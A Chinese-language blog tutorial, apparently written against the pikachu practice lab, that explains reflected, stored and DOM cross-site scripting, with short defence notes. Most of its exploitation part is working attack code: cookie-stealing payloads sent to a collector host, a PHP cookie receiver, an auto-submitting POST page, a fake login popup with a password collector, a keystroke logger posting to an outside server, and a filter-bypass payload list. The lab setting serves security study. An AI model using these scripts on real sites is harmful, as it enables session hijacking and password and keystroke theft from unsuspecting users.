【XSS】


简介

XSS 的受害者最终是用户,管理员也是其中之一。JS 能实现什么效果,XSS 就能达到。比如获取用户 cookie,弹窗,监控键盘操作、模仿 windows 注销界面,诱导用户输入开机密码。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。XSS 的目的主要是获取 cookie!

危害

  • 劫持用户 cookie 是最常见的跨站攻击方式,劫持用户浏览器,将用户当前使用的 sessionID 信息发送给攻击者
  • 框架钓鱼:操作网页中的 DOM 树结构和内容,在网页中通过 JS 脚本、生成虚假的页面,欺骗用户执行操作,用户的输入内容会被发送给攻击者的服务器上。
  • 挂马(水坑攻击)

分类

反射型

与服务端交互,但是交互的数据不会被存储在数据库中,一次性,所见及所得,一般出现在查询类页面中。利用方式:黑客通过某种方法(发送邮件或或其他方式)诱导用户点击 payload,进行触发。
案例
进入本页面会要求输入姓名,手机号,输入的内容会显示到页面上。那我们可以尝试输入脚本,看看能否被解析。
在这里插入图片描述
在这里插入图片描述
在姓名输入框输入 payload:<script>console.log(123)</script>,发现控制台输出了 123,证毕。
在这里插入图片描述

存储型

交互的数据会被存在数据库中,永久性存储,一般出现在留言版、注册页面等。由于当黑客输入时没有做过滤,输出时也没有做过滤,所以当其他用户访问时就会触发。
案例
进入了一个管理后台,看了看里面的内容,有点像周处除三害…
在这里插入图片描述

我们修改一下里面的字段,看看有没有 XSS。
在这里插入图片描述
payload:<script>console.log(123)</script>
在这里插入图片描述
插入 payload 后,发现成功被解析,在控制台输出了 123,证毕!
在这里插入图片描述

dom 型

通过前端 dom 节点形成的漏洞,一般不予后台服务器产生数据交互,属于中低危漏洞。
dom 型 XSS:通过 JS 代码操作 dom 文档对象模型时触发的漏洞。
dom 操作:直接在浏览器完成的操作,不与服务端交互。比如,阅读文章时,点击目录就跳转到了文章对应的地方。
可能触发 DOM 型 XSS 的 js 操作:

  • document.referer
  • window.name
  • location
  • innerHTML
  • document.wrirte

payload(闭合标签):
' onclick="alert(1)
' > <img src=# onmouseover="alert(1)">

payload

<img src=a onerror=alert(xss)>
<script>console.log(123)</script>
<img src="https://1v8r8c.dnslog.cn">
<img src="x" onerror="alert('XSS')">
<svg onload=alert(1)>
<button onclick="alert('XSS')">Click me</button>
<a href='javascript:alert(1)'>aa</a>
' onfocus=javascript:alert(1) '

利用

存储型 XSS 获取 cookie

测试环境:pikachu 存储型 XSS
说明:可以在控制台写 JS 代码,例如下图
在这里插入图片描述
在这里插入图片描述
跳转到百度以后,发现一个小彩蛋:
在这里插入图片描述

原理
黑客在留言模块,写入恶意代码(该代码将用户 cookie 发送到黑客网站,然后将用户跳转到一个可信网站),由于存在存储型 XSS,代码会被保存在服务器,其他用户在访问留言模块时也会从数据库中加载此代码。
应该有两台服务器,一台部署了靶场环境供用户使用,另一台作为黑客的,但我现在还没有自己的 VPS,那就把这两台服务器合并到一起使用吧。
payload:<script>document.location="http://192.168.177.132/pikachu-master/pkxss/xcookie/cookie.php?cookie="+document.cookie;</script>
浏览器就会解析的脚本:这样当前页面就会携带cookie参数去访问黑客的网站,被保存下来。
黑客的服务器:利用靶场提供的 XSS 后台,http://192.168.177.128/pikachu-master/pkxss/xssmanager.php
访问 XSS 后台,需要初始化数据库 pkxss,http://192.168.177.128/pikachu-master/pkxss/pkxss_install.php

黑客网站(cookie.php)
黑客服务器上部署一个网站用于接收用户的cookie,换言之,利用 payload 脚本让用户携带cookie参数自动去访问指定网站。该网站将获取到的cookie插入到黑客的数据库。

<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

//这个是获取cookie的api页面

if(isset($_GET['cookie'])){
    $time=date('Y-m-d g:i:s');
    $ipaddress=getenv ('REMOTE_ADDR');
    $cookie=$_GET['cookie'];
    $referer=$_SERVER['HTTP_REFERER'];
    $useragent=$_SERVER['HTTP_USER_AGENT'];
    $query="insert cookies(time,ipaddress,cookie,referer,useragent) 
    values('$time','$ipaddress','$cookie','$referer','$useragent')";
    $result=mysqli_query($link, $query);
}
header("Location:http://192.168.177.132/pikachu-master/index.php");//重定向到一个可信的网站

?>

在这里插入图片描述

由于该脚本被嵌入到数据库中,并且这个留言板,所有用户都可以看见,意味着,只要访问留言板所在页面,都会执行上述操作。要想结束这个死锁过程,那我们得去数据库中删掉这条恶意留言。

mysql> select * from message;
+----+------------------------------------------------------------------------------------------------------------------------------+---------------------+
| id | content                                                                                                                      | time                |
+----+------------------------------------------------------------------------------------------------------------------------------+---------------------+
| 77 | <script>document.location="http://192.168.177.132/pikachu-master/pkxss/xcookie/cookie.php?cookie="+document.cookie;</script> | 2024-08-28 23:08:03 |
+----+------------------------------------------------------------------------------------------------------------------------------+---------------------+
1 row in set (0.00 sec)

mysql> delete from message;
Query OK, 1 row affected (0.00 sec)

mysql> select * from message;
Empty set (0.00 sec)

这样就可以正常访问留言板所在页面了。

反射型 post 请求方式窃取 cookie

如果网站使用 post 请求方式,那就得写一个网页,才能利用 XSS 了。靶场作者已经帮我们写了:C:\Users\lh\software\phpstudy2016\WWW\pikachu-master\pkxss\xcookie\post.html
网页功能:在加载完页面所有元素后,会将用户 cookie 发送给黑客服务器,自动点击提交按钮,最后网页跳转到正常页面。

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.1.4/pikachu/vul/xss/xsspost/xss_reflected_post.php">
    <input id="xssr_in" type="text" name="message" value=
    "<script>
document.location = 'http://192.168.1.15/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
	</script>"
	 />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

<!--
 * 
<script>
document.write('<img src="http://127.0.0.1/antxss/xcookie/cookie.php?cookie='+document.cookie+'" width="0" height="0" border="0" />');
</script>
*/
/*
<script>
document.location = 'http://127.0.0.1/antxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>
*/
-->

原理
用户已经登录页面(有了登录成功的 cookie),诱导用户点击钓鱼网页,在加载完页面所有元素后,自动点击提交按钮,钓鱼网站将用户 cookie 发送给黑客服务器,网页跳转到正常页面。然后,黑客就可以利用得到的 cookie 以受害者的身份登录了:黑客在登录时抓包,修改 cookie 为受害者 cookie,就登陆上了。
用户已经成功登录了,然后通过某种手段,让他访问钓鱼网站。
在这里插入图片描述
在这里插入图片描述
访问钓鱼网站后,他的 cookie 就已经发送到黑客服务器了,我们去后台看一下,果然,得到了。
在这里插入图片描述
登录成功的用户才可以访问这个页面:http://192.168.177.132/pikachu-master/vul/xss/xsspost/xss_reflected_post.php,未登录的用户若想直接访问此地址,则会跳转到登录页面。
在这里插入图片描述
我们退出登录以后,再直接访问该地址,抓包,修改 cookie 为受害者 cookie,然后成功访问到了此页面。
在这里插入图片描述

XSS 钓鱼用户名和密码

测试环境:pikachu 存储型 XSS
原理
利用靶场的存储型 XSS,将脚本写入到留言框中,脚本会被浏览器解析,那么浏览器就去请求http://192.168.177.132/pikachu-master/pkxss/xfish/fish.php资源,于是钓鱼页面(fish.php)就响应过来了。
脚本 payload:<script src="http://192.168.177.132/pikachu-master/pkxss/xfish/fish.php"></script>
钓鱼页面会进行弹窗,要求用户输入用户名密码。然后会将用户信息以get请求发送到黑客的信息收集页面(xfish.php网页),该网页会将收到的内容插入到数据库。黑客就可以从他的管理后台查看了(pkxss_fish_result.php)。
弹窗代码(fish.php)

<?php
error_reporting(0);  // 弹窗
// var_dump($_SERVER);
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
//发送认证框,并给出迷惑性的info
    header('Content-type:text/html;charset=utf-8');
    header("WWW-Authenticate: Basic realm='认证'");
    header('HTTP/1.0 401 Unauthorized');
    echo 'Authorization Required.';
    exit;
} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
//将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
// 这里要将 &password 前面的空格删掉!
    header("Location: http://192.168.177.132/pikachu-master/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}");
}

?>

在这里插入图片描述

黑客的信息收集页面
http://192.168.177.132/pikachu-master/pkxss/xfish/xfish.php
该网页会将收集到的内容插入到数据库

<?php
error_reporting(0);
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

if(!empty($_GET['username']) && !empty($_GET['password'])){

    $username=$_GET['username'];
    $password=$_GET['password'];
    $referer="";
    $referer.=$_SERVER['HTTP_REFERER'];
    $time=date('Y-m-d g:i:s');
    $query="insert fish(time,username,password,referer) 
    values('$time','$username','$password','$referer')";
    $result=mysqli_query($link, $query);
}

?>

黑客管理后台
http://192.168.177.132/pikachu-master/pkxss/xfish/pkxss_fish_result.php

<?php
error_reporting(0);
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();


// 判断是否登录,没有登录不能访问
if(!check_login($link)){
    header("location:../pkxss_login.php");
}


if(isset($_GET['id']) && is_numeric($_GET['id'])){
    $id=escape($link, $_GET['id']);
    $query="delete from fish where id=$id";
    execute($link, $query);
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>钓鱼结果</title>
<link rel="stylesheet" type="text/css" href="../antxss.css" />
</head>
<body>
<div id="title">
<h1>pikachu Xss 钓鱼结果</h1>
<a href="../xssmanager.php">返回首页</a>
</div>
<div id="result">
    <table class="tb" border="1px" cellpadding="10" cellspacing="1" bgcolor="#5f9ea0">
        <tr>
            <td class="1">id</td>
            <td class="1">time</td>
            <td class="1">username</td>
            <td class="1">password</td>
            <td class="2">referer</td>
            <td class="2">操作</td>
        </tr>
    <?php 
    $query="select * from fish";
    $result=mysqli_query($link, $query);
    while($data=mysqli_fetch_assoc($result)){
$html=<<<A
    <tr>
        <td class="1">{$data['id']}</td>
        <td class="1">{$data['time']}</td>
        <td class="1">{$data['username']}</td>
        <td class="1">{$data['password']}</td>
        <td class="2">{$data['referer']}</td>
         <td><a href="pkxss_fish_result.php?id={$data['id']}">删除</a></td>
    </tr>
A;
         
        echo $html; 
    }
    ?>
    </table>
</div>
</body>
</html>

在这里插入图片描述

为啥我只能弹窗一次呢?
答:crtl shift delete 快捷键删除 cookie

XSS 获取键盘记录

原理
测试环境:pikachu 存储型 XSS
AJAX(Asynchronous JavaScript and XML)是一种用于创建异步 web 应用的技术。AJAX 允许网页在不重新加载整个页面的情况下,与服务器交换数据并更新网页内容。用这种技术就能在不惊动用户的情况下偷偷记录按键了。
利用靶场的存储型 XSS,将脚本写入到留言框中,脚本会被浏览器解析,那么浏览器就去请求http://192.168.177.132/pikachu-master/pkxss/rkeypress/rk.js资源,该资源会创建 ajax 请求,发送用户输入内容到黑客服务器,然后将用户的输入的键记录到数据库中。
每一个按键通过映射成一个字符
payload:<script src="http://192.168.177.132/pikachu-master/pkxss/rkeypress/rk.js"></script>
rk.js
创建 ajax 请求,发送用户输入内容到黑客服务器(rkserver.php)

/**
 * 创建一个能够进行 AJAX 请求的对象。
 * 兼容现代浏览器和旧版 IE 浏览器。
 * @returns {XMLHttpRequest|ActiveXObject|false} 返回 XMLHttpRequest 对象、ActiveXObject 对象或 false(如果无法创建对象)。
 */
function createAjax() {
    var request = false;

    // 检测是否支持 XMLHttpRequest(现代浏览器)
    if (window.XMLHttpRequest) {
        request = new XMLHttpRequest(); // 创建 XMLHttpRequest 对象
        // 设置 MIME 类型(如果支持)
        if (request.overrideMimeType) {
            request.overrideMimeType("text/xml");
        }
    } 
    // 检测是否支持 ActiveXObject(旧版 IE 浏览器)
    else if (window.ActiveXObject) {
        // 列出可能的 ActiveXObject 版本
        var versions = [
            'Microsoft.XMLHTTP', 'MSXML.XMLHTTP',
            'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0',
            'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0',
            'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'
        ];
        // 尝试创建不同版本的 ActiveXObject
        for (var i = 0; i < versions.length; i++) {
            try {
                request = new ActiveXObject(versions[i]); // 创建 ActiveXObject 对象
                if (request) {
                    return request; // 成功创建对象,返回对象
                }
            } catch (e) {
                request = false; // 如果创建失败,重置 request 为 false
            }
        }
    }

    return request; // 返回创建的对象或 false(如果无法创建)
}

// 定义全局变量
var ajax = null; // 存储 AJAX 请求对象
var xl = "datax="; // 存储用户输入数据的初始字符串

/**
 * 处理键盘按键事件,记录用户输入并调用 show 函数。
 */
function onkeypress() {
    var realkey = String.fromCharCode(event.keyCode); // 获取按键对应的字符
    xl += realkey; // 将按键字符追加到 xl 字符串
    show(); // 调用 show 函数处理数据
}

// 将 onkeypress 函数绑定到 document.onkeypress 事件,使其在用户按键时被调用。
document.onkeypress = onkeypress;

/**
 * 创建 AJAX 请求,发送用户输入数据到服务器。
 */
function show() {
    ajax = createAjax(); // 创建 AJAX 请求对象

    // 定义 onreadystatechange 事件处理函数
    ajax.onreadystatechange = function () {
        // 当请求状态为 4(完成)时
        if (ajax.readyState == 4) {
            // 当响应状态为 200(成功)时
            if (ajax.status == 200) {
                var data = ajax.responseText; // 处理服务器响应的数据
            } else {
                alert("页面请求失败"); // 提示请求失败
            }
        }
    }

    var postdate = xl; // 需要发送的数据
    // 配置 AJAX 请求
    ajax.open("POST", "http://192.168.177.132/pikachu-master/pkxss/rkeypress/rkserver.php", true); // 打开 POST 请求
    ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); // 设置请求头
    ajax.setRequestHeader("Content-length", postdate.length); // 设置内容长度
    ajax.setRequestHeader("Connection", "close"); // 设置连接关闭模式
    ajax.send(postdate); // 发送请求数据
}

rkserver.php
该页面会将用户的输入的键记录到数据库中

<?php
/**
 * Created by runner.han
 * There is nothing new under the sun
 */

include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

//设置允许被跨域访问
header("Access-Control-Allow-Origin:*");

$data = $_POST['datax'];
$query = "insert keypress(data) values('$data')";
$result=mysqli_query($link,$query);


?>

在这里插入图片描述

mysql> select * from keypress;
+----+--------+
| id | data   |
+----+--------+
|  6 | kkkdzq |
|  5 | kkkdz  |
|  4 | kkkd   |
+----+--------+
3 rows in set (0.00 sec)

XSS 盲打

测试环境:pikachu XSS 盲打
XSS盲打(Blind XSS)是一种特殊的跨站脚本攻击,攻击者在不知道攻击是否会成功的情况下,将恶意脚本注入到目标系统中。这种攻击形式与传统的 XSS 攻击有所不同,因为攻击者可能无法直接看到攻击效果。盲打的特点是攻击者并不直接看到注入的脚本的执行结果,而是在系统的某个地方(通常是管理后台或其它用户无法直接访问的地方)执行。
黑客虽然不知道 payload 在哪里被解析了,但是可以让 payload 去访问一个网站,来验证是否存在 XSS 盲打。
去 dnslog 官网获取一个域名,然后让脚本去访问,发现成功被解析了,证明了它的存在。
fetch 是一种现代的 Web API,用于进行网络请求(如 HTTP 请求),以替代传统的 XMLHttpRequest。它是 JavaScript 中处理网络请求的一种更简洁和强大的方法。
payload:<script>fetch("https://gz3ntd.dnslog.cn");</script>
在这里插入图片描述
评论与姓名在管理员后台才可以看见,我们登上后台发现,payload 被解析了。
在这里插入图片描述

防护

确保任何用户输入都经过严格的验证和过滤:不仅仅是使用 htmlspecialchars,还要确保输入内容不会被当作 HTML 或 JavaScript 执行:避免将用户输入直接插入到 class 或其他 HTML 属性中:尤其是 AngularJS 中可能会有特殊处理的属性。输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
使用现代的 Web 安全实践:例如 Content Security Policy (CSP) 和其他安全措施来减少 XSS 攻击的风险。
对敏感字符进行编码,使用 htmlspecialchars 函数
gpc 过滤,特殊字符会被加上斜杠,低版本的 php 没有此功能,可以利用 addslash 函数达到相同的效果。

绕过

双写绕过(dvwa medium)
过滤<script>,那么我们写<scr<script>ipt>
大小写绕过
onfocus事件绕过(xsslabs-level3)
' onfocus=javascript:alert(1) '
unicode 编码(xsslabs-level8)
前提插入到 href 中,href可以自动 unicode解码
url 编码(xsslabs-level16)
回车 url 编码代替空格
?keyword=<svg%0Aonload=alert(1)>
<a href="javascript:%61%6c%65%72%74%28%32%29">123</a>
html 编码
<button onclick="confirm('7&#39;);">Button</button>
使用 ascii 编码
<script>alert(String.fromCharCode(88,83,83))</script>
base64 编码
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
n 进制编码
8 进制<script>eval("\141\154\145\162\164\50\70\51")</script>
16 进制<script>eval("\x61\x6c\x65\x72\x74\x28\x38\x29")</script>
在线工具:https://www.jb51.net/tools/zhuanhuan.htm
拼接
长度有限制的话,并且是存储型,可以进行拼接
其他标签
一些网站与 waf 会对 alert 进行过滤,那我们就换其他函数使用:prompt、confirm
https://www.freebuf.com/articles/web/340080.html
闭合,写入属性
htmlspecialchars 实体过滤,该函数会对预定义的字符进行实体化,实体化后的字符不会在 html 中执行。预定义字符:& " ’ < >
这样的话,我们写入属性就可以绕过了,需要闭合前面' onclick='javascript:alert(1),单引号默认不会被转义。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值